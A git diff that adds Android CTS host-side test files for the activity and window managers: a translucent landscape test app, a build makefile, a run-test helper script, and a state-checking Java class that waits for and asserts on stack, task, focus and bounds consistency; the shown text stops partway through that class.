diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/AndroidManifest.xml
new file mode 100755
index 0000000..ee3bff8
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
+          package="android.server.translucentapp">
+    <application android:label="CtsTranslucentApp">
+        <activity android:name=".TranslucentLandscapeActivity"
+                android:theme="@android:style/Theme.Translucent.NoTitleBar"
+                android:exported="true"
+                android:screenOrientation="landscape">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
+
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/src/android/server/translucentapp/TranslucentLandscapeActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/src/android/server/translucentapp/TranslucentLandscapeActivity.java
new file mode 100644
index 0000000..471e3b6
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/src/android/server/translucentapp/TranslucentLandscapeActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.translucentapp;
+
+import android.app.Activity;
+
+public class TranslucentLandscapeActivity extends Activity {
+}
diff --git a/hostsidetests/services/activityandwindowmanager/util/Android.mk b/hostsidetests/services/activityandwindowmanager/util/Android.mk
new file mode 100644
index 0000000..993ba94
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/util/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2012 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := \
+    $(call all-java-files-under, src)
+
+LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
+
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
+
+LOCAL_MODULE := cts-amwm-util
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/services/activityandwindowmanager/util/run-test b/hostsidetests/services/activityandwindowmanager/util/run-test
new file mode 100755
index 0000000..46cdc44
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/util/run-test
@@ -0,0 +1,12 @@
+#!/bin/bash
+
+# Helper script for running CTS tests with all the right params.
+# Example usage:
+#  run-test <module> <package_name>  // To run all the tests in a package.
+#  run-test <module> <package_name>.<class_name>  // To run all the tests in a class.
+#  run-test <module> <package_name>.<class_name>#<method_name>  // To run a specific test in a class.
+
+echo " "
+echo "Running module $1 test...$2"
+echo " "
+cts-tradefed run commandAndExit cts-dev --module $1 --test $2 --disable-reboot --skip-device-info --skip-all-system-status-check --skip-preconditions
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityAndWindowManagersState.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityAndWindowManagersState.java
new file mode 100644
index 0000000..df16346
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityAndWindowManagersState.java
@@ -0,0 +1,803 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import static android.server.cts.ActivityManagerState.RESIZE_MODE_RESIZEABLE;
+import static android.server.cts.ActivityManagerTestBase.DOCKED_STACK_ID;
+import static android.server.cts.ActivityManagerTestBase.FREEFORM_WORKSPACE_STACK_ID;
+import static android.server.cts.ActivityManagerTestBase.HOME_STACK_ID;
+import static android.server.cts.ActivityManagerTestBase.PINNED_STACK_ID;
+import static android.server.cts.ActivityManagerTestBase.componentName;
+import static android.server.cts.StateLogger.log;
+
+import android.server.cts.ActivityManagerState.ActivityStack;
+import android.server.cts.ActivityManagerState.ActivityTask;
+import android.server.cts.WindowManagerState.Display;
+import android.server.cts.WindowManagerState.WindowStack;
+import android.server.cts.WindowManagerState.WindowState;
+import android.server.cts.WindowManagerState.WindowTask;
+
+import com.android.tradefed.device.ITestDevice;
+
+import junit.framework.Assert;
+
+import java.awt.Rectangle;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Objects;
+import java.util.function.BiPredicate;
+import java.util.function.Predicate;
+
+/** Combined state of the activity manager and window manager. */
+public class ActivityAndWindowManagersState extends Assert {
+
+    // Clone of android DisplayMetrics.DENSITY_DEFAULT (DENSITY_MEDIUM)
+    // (Needed in host-side tests to convert dp to px.)
+    private static final int DISPLAY_DENSITY_DEFAULT = 160;
+    public static final int DEFAULT_DISPLAY_ID = 0;
+
+    // Default minimal size of resizable task, used if none is set explicitly.
+    // Must be kept in sync with 'default_minimal_size_resizable_task' dimen from frameworks/base.
+    private static final int DEFAULT_RESIZABLE_TASK_SIZE_DP = 220;
+
+    // Default minimal size of a resizable PiP task, used if none is set explicitly.
+    // Must be kept in sync with 'default_minimal_size_pip_resizable_task' dimen from
+    // frameworks/base.
+    private static final int DEFAULT_PIP_RESIZABLE_TASK_SIZE_DP = 108;
+
+    private ActivityManagerState mAmState = new ActivityManagerState();
+    private WindowManagerState mWmState = new WindowManagerState();
+
+    private final List<WindowManagerState.WindowState> mTempWindowList = new ArrayList<>();
+
+    private boolean mUseActivityNames = true;
+
+    /**
+     * Compute AM and WM state of device, check sanity and bounds.
+     * WM state will include only visible windows, stack and task bounds will be compared.
+     *
+     * @param device test device.
+     * @param waitForActivitiesVisible array of activity names to wait for.
+     */
+    public void computeState(ITestDevice device, String[] waitForActivitiesVisible)
+            throws Exception {
+        computeState(device, waitForActivitiesVisible, true);
+    }
+
+    /**
+     * Compute AM and WM state of device, check sanity and bounds.
+     *
+     * @param device test device.
+     * @param waitForActivitiesVisible array of activity names to wait for.
+     * @param compareTaskAndStackBounds pass 'true' if stack and task bounds should be compared,
+     *                                  'false' otherwise.
+     */
+    void computeState(ITestDevice device, String[] waitForActivitiesVisible,
+                      boolean compareTaskAndStackBounds) throws Exception {
+        waitForValidState(device, waitForActivitiesVisible, null /* stackIds */,
+                compareTaskAndStackBounds);
+
+        assertSanity();
+        assertValidBounds(compareTaskAndStackBounds);
+    }
+
+    /**
+     * By default computeState allows you to pass only the activity name it and
+     * it will generate the full window name for the main activity window. In the
+     * case of secondary application windows though this isn't helpful, as they
+     * may follow a different format, so this method lets you disable that behavior,
+     * prior to calling a computeState variant
+     */
+    void setUseActivityNamesForWindowNames(boolean useActivityNames) {
+        mUseActivityNames = useActivityNames;
+    }
+
+    /**
+     * Compute AM and WM state of device, wait for the activity records to be added, and
+     * wait for debugger window to show up.
+     *
+     * This should only be used when starting with -D (debugger) option, where we pop up the
+     * waiting-for-debugger window, but real activity window won't show up since we're waiting
+     * for debugger.
+     */
+    void waitForDebuggerWindowVisible(
+            ITestDevice device, String[] waitForActivityRecords) throws Exception {
+        int retriesLeft = 5;
+        do {
+            mAmState.computeState(device);
+            mWmState.computeState(device);
+            if (shouldWaitForDebuggerWindow() ||
+                    shouldWaitForActivityRecords(waitForActivityRecords)) {
+                try {
+                    Thread.sleep(1000);
+                } catch (InterruptedException e) {
+                    log(e.toString());
+                    // Well I guess we are not waiting...
+                }
+            } else {
+                break;
+            }
+        } while (retriesLeft-- > 0);
+    }
+
+    /**
+     * Wait for the activity to appear and for valid state in AM and WM.
+     *
+     * @param device test device.
+     * @param waitForActivityVisible name of activity to wait for.
+     */
+    void waitForValidState(ITestDevice device, String waitForActivityVisible)
+            throws Exception {
+        waitForValidState(device, new String[]{waitForActivityVisible}, null /* stackIds */,
+                false /* compareTaskAndStackBounds */);
+    }
+
+    /**
+     * Wait for the activity to appear in proper stack and for valid state in AM and WM.
+     *
+     * @param device test device.
+     * @param waitForActivityVisible name of activity to wait for.
+     * @param stackId id of the stack where provided activity should be found.
+     */
+    void waitForValidState(ITestDevice device, String waitForActivityVisible, int stackId)
+            throws Exception {
+        waitForValidState(device, new String[]{waitForActivityVisible}, new int[]{stackId},
+                false /* compareTaskAndStackBounds */);
+    }
+
+    /**
+     * Wait for the activities to appear in proper stacks and for valid state in AM and WM.
+     *
+     * @param device test device.
+     * @param waitForActivitiesVisible array of activity names to wait for.
+     * @param stackIds ids of stack where provided activities should be found.
+     *                 Pass null to skip this check.
+     * @param compareTaskAndStackBounds flag indicating if we should compare task and stack bounds
+     *                                  for equality.
+     */
+    void waitForValidState(ITestDevice device, String[] waitForActivitiesVisible, int[] stackIds,
+            boolean compareTaskAndStackBounds) throws Exception {
+        waitForValidState(device, waitForActivitiesVisible, stackIds, compareTaskAndStackBounds,
+                componentName);
+    }
+
+    /**
+     * Wait for the activities to appear in proper stacks and for valid state in AM and WM.
+     *
+     * @param device test device.
+     * @param waitForActivitiesVisible array of activity names to wait for.
+     * @param stackIds ids of stack where provided activities should be found.
+     *                 Pass null to skip this check.
+     * @param compareTaskAndStackBounds flag indicating if we should compare task and stack bounds
+     *                                  for equality.
+     * @param packageName name of the package of activities that we're waiting for.
+     */
+    void waitForValidState(ITestDevice device, String[] waitForActivitiesVisible, int[] stackIds,
+            boolean compareTaskAndStackBounds, String packageName) throws Exception {
+        int retriesLeft = 5;
+        do {
+            // TODO: Get state of AM and WM at the same time to avoid mismatches caused by
+            // requesting dump in some intermediate state.
+            mAmState.computeState(device);
+            mWmState.computeState(device);
+            if (shouldWaitForValidStacks(compareTaskAndStackBounds)
+                    || shouldWaitForActivities(waitForActivitiesVisible, stackIds, packageName)
+                    || shouldWaitForWindows()) {
+                log("***Waiting for valid stacks and activities states...");
+                try {
+                    Thread.sleep(1000);
+                } catch (InterruptedException e) {
+                    log(e.toString());
+                    // Well I guess we are not waiting...
+                }
+            } else {
+                break;
+            }
+        } while (retriesLeft-- > 0);
+    }
+
+    void waitForHomeActivityVisible(ITestDevice device) throws Exception {
+        waitForValidState(device, mAmState.getHomeActivityName());
+    }
+
+    /** @return true if recents activity is visible. Devices without recents will return false */
+    boolean waitForRecentsActivityVisible(ITestDevice device) throws Exception {
+        waitForWithAmState(device, ActivityManagerState::isRecentsActivityVisible,
+                "***Waiting for recents activity to be visible...");
+        return mAmState.isRecentsActivityVisible();
+    }
+
+    void waitForKeyguardShowingAndNotOccluded(ITestDevice device) throws Exception {
+        waitForWithAmState(device, state -> state.getKeyguardControllerState().keyguardShowing
+                        && !state.getKeyguardControllerState().keyguardOccluded,
+                "***Waiting for Keyguard showing...");
+    }
+
+    void waitForKeyguardShowingAndOccluded(ITestDevice device) throws Exception {
+        waitForWithAmState(device, state -> state.getKeyguardControllerState().keyguardShowing
+                        && state.getKeyguardControllerState().keyguardOccluded,
+                "***Waiting for Keyguard showing and occluded...");
+    }
+
+    void waitForKeyguardGone(ITestDevice device) throws Exception {
+        waitForWithAmState(device, state -> !state.getKeyguardControllerState().keyguardShowing,
+                "***Waiting for Keyguard gone...");
+    }
+
+    void waitForRotation(ITestDevice device, int rotation) throws Exception {
+        waitForWithWmState(device, state -> state.getRotation() == rotation,
+                "***Waiting for Rotation: " + rotation);
+    }
+
+    void waitForDisplayUnfrozen(ITestDevice device) throws Exception {
+        waitForWithWmState(device, state -> !state.isDisplayFrozen(),
+                "***Waiting for Display unfrozen");
+    }
+
+    void waitForActivityState(ITestDevice device, String activityName, String activityState)
+            throws Exception {
+        waitForWithAmState(device, state -> state.hasActivityState(activityName, activityState),
+                "***Waiting for Activity State: " + activityState);
+    }
+
+    void waitForFocusedStack(ITestDevice device, int stackId) throws Exception {
+        waitForWithAmState(device, state -> state.getFocusedStackId() == stackId,
+                "***Waiting for focused stack...");
+    }
+
+    void waitForAppTransitionIdle(ITestDevice device) throws Exception {
+        waitForWithWmState(device,
+                state -> WindowManagerState.APP_STATE_IDLE.equals(state.getAppTransitionState()),
+                "***Waiting for app transition idle...");
+    }
+
+    void waitForWithAmState(ITestDevice device, Predicate<ActivityManagerState> waitCondition,
+            String message) throws Exception{
+        waitFor(device, (amState, wmState) -> waitCondition.test(amState), message);
+    }
+
+    void waitForWithWmState(ITestDevice device, Predicate<WindowManagerState> waitCondition,
+            String message) throws Exception{
+        waitFor(device, (amState, wmState) -> waitCondition.test(wmState), message);
+    }
+
+    void waitFor(ITestDevice device,
+            BiPredicate<ActivityManagerState, WindowManagerState> waitCondition, String message)
+            throws Exception {
+        int retriesLeft = 5;
+        do {
+            mAmState.computeState(device);
+            mWmState.computeState(device);
+            if (!waitCondition.test(mAmState, mWmState)) {
+                log(message);
+                try {
+                    Thread.sleep(1000);
+                } catch (InterruptedException e) {
+                    log(e.toString());
+                    // Well I guess we are not waiting...
+                }
+            } else {
+                break;
+            }
+        } while (retriesLeft-- > 0);
+    }
+
+    /** @return true if should wait for valid stacks state. */
+    private boolean shouldWaitForValidStacks(boolean compareTaskAndStackBounds) {
+        if (!taskListsInAmAndWmAreEqual()) {
+            // We want to wait for equal task lists in AM and WM in case we caught them in the
+            // middle of some state change operations.
+            log("***taskListsInAmAndWmAreEqual=false");
+            return true;
+        }
+        if (!stackBoundsInAMAndWMAreEqual()) {
+            // We want to wait a little for the stacks in AM and WM to have equal bounds as there
+            // might be a transition animation ongoing when we got the states from WM AM separately.
+            log("***stackBoundsInAMAndWMAreEqual=false");
+            return true;
+        }
+        try {
+            // Temporary fix to avoid catching intermediate state with different task bounds in AM
+            // and WM.
+            assertValidBounds(compareTaskAndStackBounds);
+        } catch (AssertionError e) {
+            log("***taskBoundsInAMAndWMAreEqual=false : " + e.getMessage());
+            return true;
+        }
+        final int stackCount = mAmState.getStackCount();
+        if (stackCount == 0) {
+            log("***stackCount=" + stackCount);
+            return true;
+        }
+        final int resumedActivitiesCount = mAmState.getResumedActivitiesCount();
+        if (!mAmState.getKeyguardControllerState().keyguardShowing && resumedActivitiesCount != 1) {
+            log("***resumedActivitiesCount=" + resumedActivitiesCount);
+            return true;
+        }
+        if (mAmState.getFocusedActivity() == null) {
+            log("***focusedActivity=null");
+            return true;
+        }
+        return false;
+    }
+
+    /** @return true if should wait for some activities to become visible. */
+    private boolean shouldWaitForActivities(String[] waitForActivitiesVisible, int[] stackIds,
+            String packageName) {
+        if (waitForActivitiesVisible == null || waitForActivitiesVisible.length == 0) {
+            return false;
+        }
+        // If the caller is interested in us waiting for some particular activity windows to be
+        // visible before compute the state. Check for the visibility of those activity windows
+        // and for placing them in correct stacks (if requested).
+        boolean allActivityWindowsVisible = true;
+        boolean tasksInCorrectStacks = true;
+        List<WindowManagerState.WindowState> matchingWindowStates = new ArrayList<>();
+        for (int i = 0; i < waitForActivitiesVisible.length; i++) {
+            // Check if window is visible - it should be represented as one of the window states.
+            final String windowName = mUseActivityNames ?
+                    ActivityManagerTestBase.getWindowName(packageName, waitForActivitiesVisible[i])
+                    : waitForActivitiesVisible[i];
+            final String activityComponentName =
+                    ActivityManagerTestBase.getActivityComponentName(packageName,
+                            waitForActivitiesVisible[i]);
+
+            mWmState.getMatchingVisibleWindowState(windowName, matchingWindowStates);
+            boolean activityWindowVisible = !matchingWindowStates.isEmpty();
+            if (!activityWindowVisible) {
+                log("Activity window not visible: " + windowName);
+                allActivityWindowsVisible = false;
+            } else if (!mAmState.isActivityVisible(activityComponentName)) {
+                log("Activity not visible: " + activityComponentName);
+                allActivityWindowsVisible = false;
+            } else if (stackIds != null) {
+                // Check if window is already in stack requested by test.
+                boolean windowInCorrectStack = false;
+                for (WindowManagerState.WindowState ws : matchingWindowStates) {
+                    if (ws.getStackId() == stackIds[i]) {
+                        windowInCorrectStack = true;
+                        break;
+                    }
+                }
+                if (!windowInCorrectStack) {
+                    log("Window in incorrect stack: " + waitForActivitiesVisible[i]);
+                    tasksInCorrectStacks = false;
+                }
+            }
+        }
+        return !allActivityWindowsVisible || !tasksInCorrectStacks;
+    }
+
+    /** @return true if should wait valid windows state. */
+    private boolean shouldWaitForWindows() {
+        if (mWmState.getFrontWindow() == null) {
+            log("***frontWindow=null");
+            return true;
+        }
+        if (mWmState.getFocusedWindow() == null) {
+            log("***focusedWindow=null");
+            return true;
+        }
+        if (mWmState.getFocusedApp() == null) {
+            log("***focusedApp=null");
+            return true;
+        }
+
+        return false;
+    }
+
+    private boolean shouldWaitForDebuggerWindow() {
+        List<WindowManagerState.WindowState> matchingWindowStates = new ArrayList<>();
+        mWmState.getMatchingVisibleWindowState("android.server.cts", matchingWindowStates);
+        for (WindowState ws : matchingWindowStates) {
+            if (ws.isDebuggerWindow()) {
+                return false;
+            }
+        }
+        log("Debugger window not available yet");
+        return true;
+    }
+
+    private boolean shouldWaitForActivityRecords(String[] waitForActivityRecords) {
+        if (waitForActivityRecords == null || waitForActivityRecords.length == 0) {
+            return false;
+        }
+        // Check if the activity records we're looking for is already added.
+        for (int i = 0; i < waitForActivityRecords.length; i++) {
+            if (!mAmState.isActivityVisible(waitForActivityRecords[i])) {
+                log("ActivityRecord " + waitForActivityRecords[i] + " not visible yet");
+                return true;
+            }
+        }
+        return false;
+    }
+
+    ActivityManagerState getAmState() {
+        return mAmState;
+    }
+
+    public WindowManagerState getWmState() {
+        return mWmState;
+    }
+
+    void assertSanity() throws Exception {
+        assertTrue("Must have stacks", mAmState.getStackCount() > 0);
+        if (!mAmState.getKeyguardControllerState().keyguardShowing) {
+            assertEquals("There should be one and only one resumed activity in the system.",
+                    1, mAmState.getResumedActivitiesCount());
+        }
+        assertNotNull("Must have focus activity.", mAmState.getFocusedActivity());
+
+        for (ActivityStack aStack : mAmState.getStacks()) {
+            final int stackId = aStack.mStackId;
+            for (ActivityTask aTask : aStack.getTasks()) {
+                assertEquals("Stack can only contain its own tasks", stackId, aTask.mStackId);
+            }
+        }
+
+        assertNotNull("Must have front window.", mWmState.getFrontWindow());
+        assertNotNull("Must have focused window.", mWmState.getFocusedWindow());
+        assertNotNull("Must have app.", mWmState.getFocusedApp());
+    }
+
+    void assertContainsStack(String msg, int stackId) throws Exception {
+        assertTrue(msg, mAmState.containsStack(stackId));
+        assertTrue(msg, mWmState.containsStack(stackId));
+    }
+
+    void assertDoesNotContainStack(String msg, int stackId) throws Exception {
+        assertFalse(msg, mAmState.containsStack(stackId));
+        assertFalse(msg, mWmState.containsStack(stackId));
+    }
+
+    void assertFrontStack(String msg, int stackId) throws Exception {
+        assertEquals(msg, stackId, mAmState.getFrontStackId(DEFAULT_DISPLAY_ID));
+        assertEquals(msg, stackId, mWmState.getFrontStackId(DEFAULT_DISPLAY_ID));
+    }
+
+    void assertFocusedStack(String msg, int stackId) throws Exception {
+        assertEquals(msg, stackId, mAmState.getFocusedStackId());
+    }
+
+    void assertNotFocusedStack(String msg, int stackId) throws Exception {
+        if (stackId == mAmState.getFocusedStackId()) {
+            failNotEquals(msg, stackId, mAmState.getFocusedStackId());
+        }
+    }
+
+    void assertFocusedActivity(String msg, String activityName) throws Exception {
+        assertFocusedActivity(msg, componentName, activityName);
+    }
+
+    void assertFocusedActivity(String msg, String packageName, String activityName)
+            throws Exception {
+        final String componentName = ActivityManagerTestBase.getActivityComponentName(packageName,
+                activityName);
+        assertEquals(msg, componentName, mAmState.getFocusedActivity());
+        assertEquals(msg, componentName, mWmState.getFocusedApp());
+    }
+
+    void assertNotFocusedActivity(String msg, String activityName) throws Exception {
+        final String componentName = ActivityManagerTestBase.getActivityComponentName(activityName);
+        if (mAmState.getFocusedActivity().equals(componentName)) {
+            failNotEquals(msg, mAmState.getFocusedActivity(), componentName);
+        }
+        if (mWmState.getFocusedApp().equals(componentName)) {
+            failNotEquals(msg, mWmState.getFocusedApp(), componentName);
+        }
+    }
+
+    void assertResumedActivity(String msg, String activityName) throws Exception {
+        final String componentName = ActivityManagerTestBase.getActivityComponentName(activityName);
+        assertEquals(msg, componentName, mAmState.getResumedActivity());
+    }
+
+    void assertNotResumedActivity(String msg, String activityName) throws Exception {
+        final String componentName = ActivityManagerTestBase.getActivityComponentName(activityName);
+        if (mAmState.getResumedActivity().equals(componentName)) {
+            failNotEquals(msg, mAmState.getResumedActivity(), componentName);
+        }
+    }
+
+    void assertFocusedWindow(String msg, String windowName) {
+        assertEquals(msg, windowName, mWmState.getFocusedWindow());
+    }
+
+    void assertNotFocusedWindow(String msg, String windowName) {
+        if (mWmState.getFocusedWindow().equals(windowName)) {
+            failNotEquals(msg, mWmState.getFocusedWindow(), windowName);
+        }
+    }
+
+    void assertFrontWindow(String msg, String windowName) {
+        assertEquals(msg, windowName, mWmState.getFrontWindow());
+    }
+
+    void assertVisibility(String activityName, boolean visible) {
+        final String activityComponentName =
+                ActivityManagerTestBase.getActivityComponentName(activityName);
+        final String windowName =
+                ActivityManagerTestBase.getWindowName(activityName);
+        assertVisibility(activityComponentName, windowName, visible);
+    }
+
+    private void assertVisibility(String activityComponentName, String windowName,
+            boolean visible) {
+        final boolean activityVisible = mAmState.isActivityVisible(activityComponentName);
+        final boolean windowVisible = mWmState.isWindowVisible(windowName);
+
+        if (visible) {
+            assertTrue("Activity=" + activityComponentName + " must be visible.", activityVisible);
+            assertTrue("Window=" + windowName + " must be visible.", windowVisible);
+        } else {
+            assertFalse("Activity=" + activityComponentName + " must NOT be visible.",
+                    activityVisible);
+            assertFalse("Window=" + windowName + " must NOT be visible.", windowVisible);
+        }
+    }
+
+    void assertHomeActivityVisible(boolean visible) {
+        String name = mAmState.getHomeActivityName();
+        assertNotNull(name);
+        assertVisibility(name, getWindowNameForActivityName(name), visible);
+    }
+
+    /**
+     * Asserts that the device default display minimim width is larger than the minimum task width.
+     */
+    void assertDeviceDefaultDisplaySize(ITestDevice device, String errorMessage) throws Exception {
+        computeState(device, null);
+        final int minTaskSizePx = defaultMinimalTaskSize(DEFAULT_DISPLAY_ID);
+        final Display display = getWmState().getDisplay(DEFAULT_DISPLAY_ID);
+        final Rectangle displayRect = display.getDisplayRect();
+        if (Math.min(displayRect.width, displayRect.height) < minTaskSizePx) {
+            fail(errorMessage);
+        }
+    }
+
+    private String getWindowNameForActivityName(String activityName) {
+        return activityName.replaceAll("(.*)\\/\\.", "$1/$1.");
+    }
+
+    boolean taskListsInAmAndWmAreEqual() {
+        for (ActivityStack aStack : mAmState.getStacks()) {
+            final int stackId = aStack.mStackId;
+            final WindowStack wStack = mWmState.getStack(stackId);
+            if (wStack == null) {
+                log("Waiting for stack setup in WM, stackId=" + stackId);
+                return false;
+            }
+
+            for (ActivityTask aTask : aStack.getTasks()) {
+                if (wStack.getTask(aTask.mTaskId) == null) {
+                    log("Task is in AM but not in WM, waiting for it to settle, taskId="
+                            + aTask.mTaskId);
+                    return false;
+                }
+            }
+
+            for (WindowTask wTask : wStack.mTasks) {
+                if (aStack.getTask(wTask.mTaskId) == null) {
+                    log("Task is in WM but not in AM, waiting for it to settle, taskId="
+                            + wTask.mTaskId);
+                    return false;
+                }
+            }
+        }
+        return true;
+    }
+
+    int getStackPosition(int stackId) {
+        int wmStackIndex = mWmState.getStackPosition(stackId);
+        int amStackIndex = mAmState.getStackPosition(stackId);
+        assertEquals("Window and activity manager must have the same stack position index",
+                amStackIndex, wmStackIndex);
+        return wmStackIndex;
+    }
+
+    boolean stackBoundsInAMAndWMAreEqual() {
+        for (ActivityStack aStack : mAmState.getStacks()) {
+            final int stackId = aStack.mStackId;
+            final WindowStack wStack = mWmState.getStack(stackId);
+            if (aStack.isFullscreen() != wStack.isFullscreen()) {
+                log("Waiting for correct fullscreen state, stackId=" + stackId);
+                return false;
+            }
+
+            final Rectangle aStackBounds = aStack.getBounds();
+            final Rectangle wStackBounds = wStack.getBounds();
+
+            if (aStack.isFullscreen()) {
+                if (aStackBounds != null) {
+                    log("Waiting for correct stack state in AM, stackId=" + stackId);
+                    return false;
+                }
+            } else if (!Objects.equals(aStackBounds, wStackBounds)) {
+                // If stack is not fullscreen - comparing bounds. Not doing it always because
+                // for fullscreen stack bounds in WM can be either null or equal to display size.
+                log("Waiting for stack bound equality in AM and WM, stackId=" + stackId);
+                return false;
+            }
+        }
+
+        return true;
+    }
+
+    /** Check task bounds when docked to top/left. */
+    void assertDockedTaskBounds(int taskWidth, int taskHeight, String activityName) {
+        // Task size can be affected by default minimal size.
+        int defaultMinimalTaskSize = defaultMinimalTaskSize(
+                mAmState.getStackById(ActivityManagerTestBase.DOCKED_STACK_ID).mDisplayId);
+        int targetWidth = Math.max(taskWidth, defaultMinimalTaskSize);
+        int targetHeight = Math.max(taskHeight, defaultMinimalTaskSize);
+
+        assertEquals(new Rectangle(0, 0, targetWidth, targetHeight),
+                mAmState.getTaskByActivityName(activityName).getBounds());
+    }
+
+    void assertValidBounds(boolean compareTaskAndStackBounds) {
+        // Cycle through the stacks and tasks to figure out if the home stack is resizable
+        final ActivityTask homeTask = mAmState.getHomeTask();
+        final boolean homeStackIsResizable = homeTask != null
+                && homeTask.getResizeMode().equals(RESIZE_MODE_RESIZEABLE);
+
+        for (ActivityStack aStack : mAmState.getStacks()) {
+            final int stackId = aStack.mStackId;
+            final WindowStack wStack = mWmState.getStack(stackId);
+            assertNotNull("stackId=" + stackId + " in AM but not in WM?", wStack);
+
+            assertEquals("Stack fullscreen state in AM and WM must be equal stackId=" + stackId,
+                    aStack.isFullscreen(), wStack.isFullscreen());
+
+            final Rectangle aStackBounds = aStack.getBounds();
+            final Rectangle wStackBounds = wStack.getBounds();
+
+            if (aStack.isFullscreen()) {
+                assertNull("Stack bounds in AM must be null stackId=" + stackId, aStackBounds);
+            } else {
+                assertEquals("Stack bounds in AM and WM must be equal stackId=" + stackId,
+                        aStackBounds, wStackBounds);
+            }
+
+            for (ActivityTask aTask : aStack.getTasks()) {
+                final int taskId = aTask.mTaskId;
+                final WindowTask wTask = wStack.getTask(taskId);
+                assertNotNull(
+                        "taskId=" + taskId + " in AM but not in WM? stackId=" + stackId, wTask);
+
+                final boolean aTaskIsFullscreen = aTask.isFullscreen();
+                final boolean wTaskIsFullscreen = wTask.isFullscreen();
+                assertEquals("Task fullscreen state in AM and WM must be equal taskId=" + taskId
+                        + ", stackId=" + stackId, aTaskIsFullscreen, wTaskIsFullscreen);
+
+                final Rectangle aTaskBounds = aTask.getBounds();
+                final Rectangle wTaskBounds = wTask.getBounds();
+                final Rectangle displayRect = mWmState.getDisplay(aStack.mDisplayId)
+                        .getDisplayRect();
+
+                if (aTaskIsFullscreen) {
+                    assertNull("Task bounds in AM must be null for fullscreen taskId=" + taskId,
+                            aTaskBounds);
+                } else if (!homeStackIsResizable && mWmState.isDockedStackMinimized()
+                        && displayRect.getWidth() > displayRect.getHeight()) {
+                    // When minimized using non-resizable launcher in landscape mode, it will move
+                    // the task offscreen in the negative x direction unlike portrait that crops.
+                    // The x value in the task bounds will not match the stack bounds since the
+                    // only the task was moved.
+                    assertEquals("Task bounds in AM and WM must match width taskId=" + taskId
+                            + ", stackId" + stackId, aTaskBounds.getWidth(),
+                            wTaskBounds.getWidth());
+                    assertEquals("Task bounds in AM and WM must match height taskId=" + taskId
+                                    + ", stackId" + stackId, aTaskBounds.getHeight(),
+                            wTaskBounds.getHeight());
+                    assertEquals("Task bounds must match stack bounds y taskId=" + taskId
+                                    + ", stackId" + stackId, aTaskBounds.getY(),
+                            wTaskBounds.getY());
+                    assertEquals("Task and stack bounds must match width taskId=" + taskId
+                                    + ", stackId" + stackId, aStackBounds.getWidth(),
+                            wTaskBounds.getWidth());
+                    assertEquals("Task and stack bounds must match height taskId=" + taskId
+                                    + ", stackId" + stackId, aStackBounds.getHeight(),
+                            wTaskBounds.getHeight());
+                    assertEquals("Task and stack bounds must match y taskId=" + taskId
+                                    + ", stackId" + stackId, aStackBounds.getY(),
+                            wTaskBounds.getY());
+                } else {
+                    assertEquals("Task bounds in AM and WM must be equal taskId=" + taskId
